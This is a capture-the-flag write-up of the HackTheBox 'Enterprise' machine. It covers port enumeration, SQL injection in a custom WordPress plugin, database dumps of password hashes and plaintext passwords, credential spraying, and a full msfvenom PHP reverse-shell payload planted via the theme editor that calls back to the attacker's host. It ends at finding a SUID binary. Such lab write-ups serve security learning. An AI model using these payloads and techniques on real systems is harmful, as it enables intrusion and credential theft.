HackTheBox Enterprise
Writeup for HackTheBox Enterprise
Machine Synopsis
Enterprise is one of the more challenging machines on Hack The Box. It requires a wide range of knowledge and skills to successfully exploit. It features a custom wordpress plugin and a buffer overflow vulnerability that can be exploited both locally and remotely. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
❯ nmap -p- --min-rate 10000 10.10.10.61
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
5355/tcp filtered llmnr
8080/tcp open http-proxy
32812/tcp open unknown
❯ nmap -sC -sV -p22,80,443,5355,8080,32812 10.10.10.61
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
| 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-title: USS Enterprise – Ships Log
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.25 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after: 2017-09-24T10:35:14
| tls-alpn:
|_ http/1.1
5355/tcp filtered llmnr
8080/tcp open http Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
32812/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
| Enter Bridge Access Code:
| Invalid Code
| Terminating Console
| NULL:
| _______ _______ ______ _______
| |_____| |_____/ |______
| |_____ |_____ | | | _ ______|
| Welcome to the Library Computer Access and Retrieval System
|_ Enter Bridge Access Code:
Initially, the website seemed very basic as it could not load all of the elements from the domain enterprise.htb
. Let’s add the domain to our /etc/hosts
and try again.
1
❯ echo -e '10.10.10.61\t\tenterprise.htb' | sudo tee -a /etc/hosts
Since we know that the website is running on WordPress, we can run wpscan
to find known vulnerabilities.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wpscan --url http://enterprise.htb -e --api-token <token>
...
[i] User(s) Identified:
[+] william.riker
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Login Error Messages (Aggressive Detection)
[+] william-riker
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
...
There were a lot of vulnerabilities shown but none seemed to be useful. The only possible useful information was the user william-riker
.
1
2
3
4
5
6
7
8
❯ ffuf -u http://enterprise.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
wp-login.php [Status: 200, Size: 2428, Words: 150, Lines: 70, Duration: 35ms]
wp-content [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 488ms]
wp-trackback.php [Status: 200, Size: 135, Words: 11, Lines: 5, Duration: 35ms]
wp-includes [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 962ms]
wp-config.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
...
There was nothing much interesting. Lets try to target port 443
instead.
Accessing https://enterprise.htb
brings us to the default Apache2 webpage.
There are some interesting information when you view the TLS certificate.
1
2
Common Name enterprise.local
Email Address jeanlucpicard@enterprise.local
Lets brute force for possible directories.
1
2
3
4
❯ ffuf -u https://enterprise.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
files [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 4ms]
...
There is a files
endpoint which seems interesting.
It looks like the endpoint is hosting a lcars.zip
file which is most likely a WordPress plugin
.
1
2
3
4
5
6
❯ wget https://enterprise.htb/files/lcars.zip --no-check-certificate
❯ unzip lcars.zip
Archive: lcars.zip
inflating: lcars/lcars_db.php
inflating: lcars/lcars_dbpost.php
inflating: lcars/lcars.php
These files will be our key to getting initial access and will be explained later.
Before that, lets not forget to check out port 8080
as well.
Lets enumerate for any hidden directories as well.
1
2
3
4
5
6
7
8
❯ ffuf -u http://enterprise.htb:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
cache [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 15ms]
language [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 4ms]
tmp [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 7ms]
index.php [Status: 200, Size: 7704, Words: 345, Lines: 210, Duration: 287ms]
administrator [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 4ms]
...
There is an interesting administrator
endpoint which leads to a Joomla
login page.
Lastly, lets take a quick look at port 32812
.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nc 10.10.10.61 32812
_______ _______ ______ _______
| | |_____| |_____/ |______
|_____ |_____ | | | \_ ______|
Welcome to the Library Computer Access and Retrieval System
Enter Bridge Access Code:
test
Invalid Code
Terminating Console
Exploitation
Lets check out the WordPress plugin lcars
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ curl http://enterprise.htb/wp-content/plugins/lcars/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /wp-content/plugins/lcars/
on this server.<br />
</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at enterprise.htb Port 80</address>
</body></html>
❯ curl http://enterprise.htb/wp-content/plugins/lcars/lcars.php
<nothing returned>
❯ curl http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php
Failed to read query
❯ curl http://enterprise.htb/wp-content/plugins/lcars/lcars_dbpost.php
Failed to read query
The responses shows that the plugin and files exists.
Lets analyze the source code of lcars.zip
file downloaded from the files
endpoint.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
❯ cat lcars/lcars.php
<?php
/*
* Plugin Name: lcars
* Plugin URI: enterprise.htb
* Description: Library Computer Access And Retrieval System
* Author: Geordi La Forge
* Version: 0.2
* Author URI: enterprise.htb
* */
// Need to create the user interface.
// need to finsih the db interface
// need to make it secure
?>
❯ cat lcars/lcars_dbpost.php
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
// Connection Error
exit("Couldn't connect to the database: ".mysqli_connect_error());
}
// test to retireve a post name
if (isset($_GET['query'])){
$query = (int)$_GET['query'];
$sql = "SELECT post_title FROM wp_posts WHERE ID = $query";
$result = $db->query($sql);
if ($result){
$row = $result->fetch_row();
if (isset($row[0])){
echo $row[0];
}
}
} else {
echo "Failed to read query";
}
?>
Looking at lcars_dbpost.php
, it seems like we can query the database using the GET
parameter query
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
❯ for i in {0..100}; do echo -n "$i: "; curl -s 'http://enterprise.htb/wp-content/plugins/lcars/lcars_dbpost.php?query='$i; done | grep .
0:
1: Hello world!
2:
3: Auto Draft
4: Espresso
5: Sandwich
6: Coffee
7: Home
8: About
9: Contact
10: Blog
11: A homepage section
12:
13: enterprise_header
14: Espresso
15: Sandwich
16: Coffee
...
23: enterprise_header
24: cropped-enterprise_header-1.jpg
...
30: Home
...
34: Yelp
35: Facebook
36: Twitter
37: Instagram
38: Email
39:
40: Hello world!
...
51: Stardate 49827.5
52: Stardate 49827.5
53: Stardate 50893.5
54: Stardate 50893.5
55: Stardate 52179.4
56: Stardate 52179.4
57: Stardate 55132.2
58: Stardate 55132.2
...
66: Passwords
67: Passwords
68: Passwords
69: YAYAYAYAY.
70: YAYAYAYAY.
71: test
...
78: YAYAYAYAY.
...
grep .
is used to filter lines that are not empty.
Looking at lcars_db.php
, it seems like we can also query the database using the GET
parameter query
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ cat lcars/lcars_db.php
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
// Connection Error
exit("Couldn't connect to the database: ".mysqli_connect_error());
}
// test to retireve an ID
if (isset($_GET['query'])){
$query = $_GET['query'];
$sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
$result = $db->query($sql);
echo $result;
} else {
echo "Failed to read query";
}
?>
1
2
3
❯ curl 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1'
<br />
<b>Catchable fatal error</b>: Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br />
However, the webpage returns us an error. This is most likely because the code is expecting a string but the query
is an object instead.
Lets use sqlmap
to automate the process since we can guess that this is most likely a SQL injection vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
❯ sqlmap -u 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' --batch --dump
...
❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/wordpress/wp_posts.csv | grep "Passwords"
66,http://enterprise.htb/?p=66,<blank>,<blank>,2017-09-06 15:40:30,<blank>,post,0,Passwords,open,1,0,draft,Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n ,<blank>,0,0000-00-00 00:00:00,2017-09-06 15:40:30,<blank>,open,<blank>,2017-09-06 14:40:30,<blank>
67,http://enterprise.htb/?p=67,<blank>,<blank>,2017-09-06 15:28:35,66-revision-v1,revision,0,Passwords,closed,1,66,inherit,Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n ,<blank>,0,2017-09-06 14:28:35,2017-09-06 15:28:35,<blank>,closed,<blank>,2017-09-06 14:28:35,<blank>
68,http://enterprise.htb/?p=68,<blank>,<blank>,2017-09-06 15:40:30,66-revision-v1,revision,0,Passwords,closed,1,66,inherit,Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n ,<blank>,0,2017-09-06 14:40:30,2017-09-06 15:40:30,<blank>,closed,<blank>,2017-09-06 14:40:30,<blank>
❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/wordpress/wp_posts.csv | grep "Passwords" | cut -d ',' -f14
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n
It seems like there are some possible password values in wp_posts
. Lets store them in passwords.txt
.
1
2
3
4
5
❯ cat passwords.txt
enterprisencc170
u*Z14ru0p#ttj83zS6
ZD3YxfnSjezg67JZ
ZxJyhGem4k338S2Y
Lets get a list of possible users
too.
1
2
3
❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/wordpress/wp_users.csv
ID,user_url,user_pass,user_email,user_login,user_status,display_name,user_nicename,user_registered,user_activation_key
1,<blank>,$P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.,william.riker@enterprise.htb,william.riker,0,william.riker,william-riker,2017-09-03 19:20:56,<blank>
Remember that there is another joomladb
that we can dump as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ sqlmap -u 'enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' --batch --dbs
...
available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb
❯ sqlmap -u 'enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' --batch --dbs -D joomladb --dump
❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/joomladb/edz2g_users.csv
id,otep,email,name,otpKey,params,block,password,username,sendEmail,activation,resetCount,registerDate,requireReset,lastResetTime,lastvisitDate
400,<blank>,geordi.la.forge@enterprise.htb,Super User,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",0,$2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy,geordi.la.forge,1,0,0,2017-09-03 19:30:04,0,0000-00-00 00:00:00,2017-10-17 04:24:50
401,<blank>,guinan@enterprise.htb,Guinan,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",0,$2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q,Guinan,0,<blank>,0,2017-09-06 12:38:03,0,0000-00-00 00:00:00,0000-00-00 00:00:00
Now we can combine all the users that we found into users.txt
.
1
2
3
4
❯ cat users.txt
william.riker
geordi.la.forge
guinan
Lets try spraying the credentials found with wpscan
.
1
2
3
4
5
❯ wpscan --url http://enterprise.htb/ -U users.txt -P passwords.txt
...
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - william.riker / u*Z14ru0p#ttj83zS6
...
Nice, we found a valid credential william.riker:u*Z14ru0p#ttj83zS6
! Lets login to http://enterprise.htb/wp-login.php
.
Usually for WordPress sites, the attack vector is to spawn a reverse shell from the plugins or themes. Lets generate a reverse shell with msfvenom
.
1
2
3
4
❯ msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.13 lport=1337 -f raw > poc.php
❯ cat poc.php
/*<?php /**/ error_reporting(0); $ip = '10.10.14.13'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();%
On the WordPress dashboard, go to Appearance –> Editor –> 404.php
and replace the source code with our malicious php
code.
Access a URL that will throw an error (e.g. http://enterprise.htb/?p=1337
) to trigger the payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 1337
lport => 1337
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.13:1337
[*] Sending stage (40004 bytes) to 10.10.10.61
[*] Meterpreter session 1 opened (10.10.14.13:1337 -> 10.10.10.61:41676)
meterpreter > shell
Process 396 created.
Channel 0 created.
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Since there is no python
installed on this box, we can use script
to spawn an interactive shell.
1
2
3
4
5
6
7
8
9
10
11
12
script /dev/null -c bash
www-data@b8319d86d21e:/var/www/html$
www-data@b8319d86d21e:/var/www/html$ cd /home
www-data@b8319d86d21e:/home$ ls
user.txt
www-data@b8319d86d21e:/home$ cat user.txt
As you take a look around at your surroundings you realise there is something wrong.
This is not the Enterprise!
As you try to interact with a console it dawns on you.
Your in the Holodeck!
This is not the real user.txt
. Lets enumerate around.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@b8319d86d21e:/var/www/html$ cd /
www-data@b8319d86d21e:/$ ls -la
total 72
drwxr-xr-x 73 root root 4096 May 30 2022 .
drwxr-xr-x 73 root root 4096 May 30 2022 ..
-rwxr-xr-x 1 root root 0 Sep 3 2017 .dockerenv
drwxr-xr-x 2 root root 4096 May 30 2022 bin
drwxr-xr-x 2 root root 4096 May 30 2022 boot
drwxr-xr-x 5 root root 340 Jan 15 01:50 dev
drwxr-xr-x 70 root root 4096 May 30 2022 etc
drwxr-xr-x 2 root root 4096 May 30 2022 home
drwxr-xr-x 13 root root 4096 May 30 2022 lib
drwxr-xr-x 2 root root 4096 May 30 2022 lib64
drwxr-xr-x 2 root root 4096 May 30 2022 media
drwxr-xr-x 2 root root 4096 May 30 2022 mnt
drwxr-xr-x 2 root root 4096 May 30 2022 opt
dr-xr-xr-x 233 root root 0 Jan 15 01:50 proc
drwx------ 2 root root 4096 May 30 2022 root
drwxr-xr-x 7 root root 4096 May 30 2022 run
drwxr-xr-x 2 root root 4096 May 30 2022 sbin
drwxr-xr-x 2 root root 4096 May 30 2022 srv
dr-xr-xr-x 13 root root 0 Jan 15 01:50 sys
drwxrwxrwt 3 root root 4096 Jan 15 01:50 tmp
drwxr-xr-x 44 root root 4096 May 30 2022 usr
drwxr-xr-x 33 root root 4096 May 30 2022 var
This looks like a docker instance because of the .dockerenv
file.
Lets try reading the wp-config.php
contents.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@b8319d86d21e:/var/www/html$ cat wp-config.php
...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'NCC-1701E');
/** MySQL hostname */
define('DB_HOST', 'mysql');
...
It looks like there is a mysql
credential hardcoded in it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@b8319d86d21e:/var/www/html$ ss -ant
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:80 *:*
ESTAB 0 0 172.17.0.3:41878 10.10.14.13:1337
CLOSE-WAIT 1 0 172.17.0.3:80 10.10.14.13:51638
ESTAB 0 0 172.17.0.3:41676 10.10.14.13:1337
ESTAB 0 0 172.17.0.3:43256 172.17.0.2:3306
ESTAB 0 0 172.17.0.3:43028 172.17.0.2:3306
ESTAB 0 0 172.17.0.3:42906 172.17.0.2:3306
CLOSE-WAIT 1 0 172.17.0.3:80 10.10.14.13:42162
ESTAB 0 0 172.17.0.3:80 10.10.14.13:49632
ESTAB 0 0 172.17.0.3:80 10.10.14.13:42844
ESTAB 0 0 172.17.0.3:41756 10.10.14.13:1337
ESTAB 0 0 172.17.0.3:42826 172.17.0.2:3306
ESTAB 0 0 172.17.0.3:42106 10.10.14.13:1337
It seems like the IP for this docker box is 172.17.0.3
while the SQL server is running on 172.17.0.2
.
There seems to be nothing much we can do from here so lets look for another way instead.
Recall that we found a Joomla
login page earlier?
We can try if any of the credentials found works.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.13:1337
[*] Sending stage (40004 bytes) to 10.10.10.61
[*] Meterpreter session 5 opened (10.10.14.13:1337 -> 10.10.10.61:40024)
meterpreter > shell
Process 90 created.
Channel 0 created.
www-data@a7018bfdc454:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@a7018bfdc454:/var/www/html$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.4/16 scope global eth0
valid_lft forever preferred_lft forever
It looks like our IP address now is 172.17.0.4
. Lets enumerate around.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@a7018bfdc454:/var/www/html$ ls -l
ls -l
total 16976
-rw-r--r-- 1 www-data www-data 18092 Aug 14 2017 LICENSE.txt
-rw-r--r-- 1 www-data www-data 4874 Aug 14 2017 README.txt
drwxr-xr-x 11 www-data www-data 4096 May 30 2022 administrator
drwxr-xr-x 2 www-data www-data 4096 May 30 2022 bin
drwxr-xr-x 2 www-data www-data 4096 May 30 2022 cache
drwxr-xr-x 2 www-data www-data 4096 May 30 2022 cli
drwxr-xr-x 20 www-data www-data 4096 May 30 2022 components
-r--r--r-- 1 www-data www-data 3053 Sep 6 2017 configuration.php
-rwxrwxr-x 1 www-data www-data 3131 Sep 7 2017 entrypoint.sh
drwxrwxrwx 2 root root 4096 Oct 17 2017 files
-rw-rw-rw- 1 www-data www-data 5457775 Sep 8 2017 fs.out
-rw-rw-rw- 1 www-data www-data 8005634 Sep 8 2017 fsall.out
-rw-rw-rw- 1 www-data www-data 2044787 Sep 7 2017 goonthen.txt
-rw-r--r-- 1 www-data www-data 3005 Aug 14 2017 htaccess.txt
drwxr-xr-x 5 www-data www-data 4096 May 30 2022 images
drwxr-xr-x 2 www-data www-data 4096 May 30 2022 includes
-rw-r--r-- 1 www-data www-data 1420 Aug 14 2017 index.php
drwxr-xr-x 4 www-data www-data 4096 May 30 2022 language
drwxr-xr-x 5 www-data www-data 4096 May 30 2022 layouts
drwxr-xr-x 11 www-data www-data 4096 May 30 2022 libraries
-rw-rw-r-- 1 www-data www-data 968 Sep 7 2017 makedb
-rw-rw-r-- 1 www-data www-data 968 Sep 7 2017 makedb.php
drwxr-xr-x 26 www-data www-data 4096 May 30 2022 media
-rw-rw-rw- 1 www-data www-data 1474911 Sep 7 2017 mod.out
drwxr-xr-x 27 www-data www-data 4096 May 30 2022 modules
-rw-rw-rw- 1 www-data www-data 252614 Sep 7 2017 onemoretry.txt
-rw-rw-rw- 1 www-data www-data 793 Sep 8 2017 out.zip
drwxr-xr-x 16 www-data www-data 4096 May 30 2022 plugins
-rw-r--r-- 1 www-data www-data 836 Aug 14 2017 robots.txt
drwxr-xr-x 5 www-data www-data 4096 May 30 2022 templates
drwxr-xr-x 2 www-data www-data 4096 May 30 2022 tmp
-rw-r--r-- 1 www-data www-data 1690 Aug 14 2017 web.config.txt
-rw-r--r-- 1 www-data www-data 3736 Sep 6 2017 wordpress-shell.php
Snooping around the home
directory, we find a very interesting yet familiar directory, files
.
Could this be the files
directory from https://enterprise.htb/files
?
1
2
3
www-data@a7018bfdc454:/var/www/html$ cd files
www-data@a7018bfdc454:/var/www/html/files$ ls -l
-rw-r--r-- 1 root root 1406 Oct 17 2017 lcars.zip
It looks like it! Lets test out if a newly created file is visible over https://enterprise.htb/files
.
1
www-data@a7018bfdc454:/var/www/html/files$ echo 'testing' > test.txt
1
2
❯ curl -k https://enterprise.htb/files/test.txt
testing
Nice! Now lets spawn a reverse shell from the https
server. We can upload our previously generated malicious poc.php
to the files
directory.
1
meterpreter > upload poc.php /var/www/html/files
Thereafter, access https://enterprise.htb/files/poc.php
to trigger the payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
msf6 exploit(multi/handler) > run -j
[*] Sending stage (40004 bytes) to 10.10.10.61
[*] Meterpreter session 10 opened (10.10.14.13:1337 -> 10.10.10.61:33650)
msf6 exploit(multi/handler) > sessions -i 10
[*] Starting interaction with 10...
meterpreter > shell
Process 15334 created.
Channel 0 created.
script /dev/null -c bash
Script started, file is /dev/null
www-data@enterprise:/var/www/html/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@enterprise:/var/www/html/files$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:8e:6d brd ff:ff:ff:ff:ff:ff
inet 10.10.10.61/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:8e6d/64 scope global mngtmpaddr dynamic
valid_lft 86395sec preferred_lft 14395sec
inet6 fe80::250:56ff:feb9:8e6d/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:2c:db:51:aa brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:2cff:fedb:51aa/64 scope link
valid_lft forever preferred_lft forever
5: veth7def93b@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 96:80:86:f0:3f:c7 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::9480:86ff:fef0:3fc7/64 scope link
valid_lft forever preferred_lft forever
7: veth2b22f9c@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether be:a8:c5:c6:2b:9c brd ff:ff:ff:ff:ff:ff link-netnsid 1
inet6 fe80::bca8:c5ff:fec6:2b9c/64 scope link
valid_lft forever preferred_lft forever
9: veth7d91174@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 2a:b8:d4:ec:54:d6 brd ff:ff:ff:ff:ff:ff link-netnsid 2
inet6 fe80::28b8:d4ff:feec:54d6/64 scope link
valid_lft forever preferred_lft forever
www-data@enterprise:/var/www/html/files$ cd /home
www-data@enterprise:/home$ ls
jeanlucpicard
www-data@enterprise:/home$ cd jeanlucpicard
www-data@enterprise:/home/jeanlucpicard$ ls
user.txt
www-data@enterprise:/home/jeanlucpicard$ cat user.txt
287db7d160e45271b7393ce30dfc9740
Privilege Escalation
Lets enumerate for files with SUID
bit set.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@enterprise:/home/jeanlucpicard$ find / -type f -perm -4000 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/at
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/chsh
/bin/umount
/bin/su
/bin/ping
/bin/ntfs-3g
/bin/mount
/bin/lcars
/bin/fusermount
The file that we are interested in is the /bin/lcars
file.
1
2
www-data@enterprise:/home/jeanlucpicard$ file /bin/lcars
/bin/lcars: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=88410652745b0a94421ce22ea4278a8eaea8db57, not stripped
Lets download it to our host to analyze it further.
